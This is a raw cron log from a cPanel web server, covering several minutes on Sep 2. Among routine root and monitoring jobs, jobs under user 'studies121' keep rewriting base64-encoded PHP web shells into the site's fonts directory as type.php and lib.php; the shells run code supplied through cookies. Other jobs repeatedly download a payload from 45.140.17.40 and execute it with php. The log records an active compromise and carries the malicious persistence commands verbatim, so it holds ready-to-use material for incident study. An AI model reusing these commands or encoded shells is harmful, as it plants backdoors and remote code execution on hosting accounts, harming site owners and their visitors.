Sep  2 22:43:01 ip-184-168-122-23 CROND[23558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:44:01 ip-184-168-122-23 CROND[23634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:44:01 ip-184-168-122-23 CROND[23637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:44:01 ip-184-168-122-23 CROND[23636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:44:01 ip-184-168-122-23 CROND[23638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:44:01 ip-184-168-122-23 CROND[23639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:45:01 ip-184-168-122-23 CROND[23723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:45:01 ip-184-168-122-23 CROND[23728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:45:01 ip-184-168-122-23 CROND[23725]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:45:01 ip-184-168-122-23 CROND[23727]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:45:01 ip-184-168-122-23 CROND[23726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:45:01 ip-184-168-122-23 CROND[23729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:46:01 ip-184-168-122-23 CROND[23813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:46:01 ip-184-168-122-23 CROND[23815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:46:01 ip-184-168-122-23 CROND[23816]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:46:01 ip-184-168-122-23 CROND[23817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:46:01 ip-184-168-122-23 CROND[23818]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 22:46:01 ip-184-168-122-23 CROND[23820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:46:01 ip-184-168-122-23 CROND[23819]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 22:47:01 ip-184-168-122-23 CROND[24620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:47:01 ip-184-168-122-23 CROND[24623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:47:01 ip-184-168-122-23 CROND[24621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:47:01 ip-184-168-122-23 CROND[24622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:48:01 ip-184-168-122-23 CROND[24747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:48:01 ip-184-168-122-23 CROND[24749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:48:01 ip-184-168-122-23 CROND[24751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:48:01 ip-184-168-122-23 CROND[24752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:48:01 ip-184-168-122-23 CROND[24750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:49:01 ip-184-168-122-23 CROND[24871]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 22:49:01 ip-184-168-122-23 CROND[24874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:49:01 ip-184-168-122-23 CROND[24872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:49:01 ip-184-168-122-23 CROND[24873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:49:01 ip-184-168-122-23 CROND[24875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:50:01 ip-184-168-122-23 CROND[24984]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 22:50:01 ip-184-168-122-23 CROND[24987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:50:01 ip-184-168-122-23 CROND[24988]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:50:01 ip-184-168-122-23 CROND[24989]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:50:01 ip-184-168-122-23 CROND[24992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:50:01 ip-184-168-122-23 CROND[24991]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 22:50:01 ip-184-168-122-23 CROND[24995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:50:01 ip-184-168-122-23 CROND[24997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:50:01 ip-184-168-122-23 CROND[24996]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:51:01 ip-184-168-122-23 CROND[25091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:51:01 ip-184-168-122-23 CROND[25094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:51:01 ip-184-168-122-23 CROND[25092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:51:01 ip-184-168-122-23 CROND[25093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:52:01 ip-184-168-122-23 CROND[25192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:52:01 ip-184-168-122-23 CROND[25194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:52:01 ip-184-168-122-23 CROND[25196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:52:01 ip-184-168-122-23 CROND[25197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:52:01 ip-184-168-122-23 CROND[25195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:53:01 ip-184-168-122-23 CROND[25276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:53:01 ip-184-168-122-23 CROND[25279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:53:01 ip-184-168-122-23 CROND[25277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:53:01 ip-184-168-122-23 CROND[25278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:54:01 ip-184-168-122-23 CROND[25357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:54:01 ip-184-168-122-23 CROND[25361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:54:01 ip-184-168-122-23 CROND[25360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:54:01 ip-184-168-122-23 CROND[25359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:54:01 ip-184-168-122-23 CROND[25362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:55:02 ip-184-168-122-23 CROND[25446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:55:02 ip-184-168-122-23 CROND[25447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:55:02 ip-184-168-122-23 CROND[25450]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:55:02 ip-184-168-122-23 CROND[25454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:55:02 ip-184-168-122-23 CROND[25452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:55:02 ip-184-168-122-23 CROND[25453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:56:01 ip-184-168-122-23 CROND[25637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
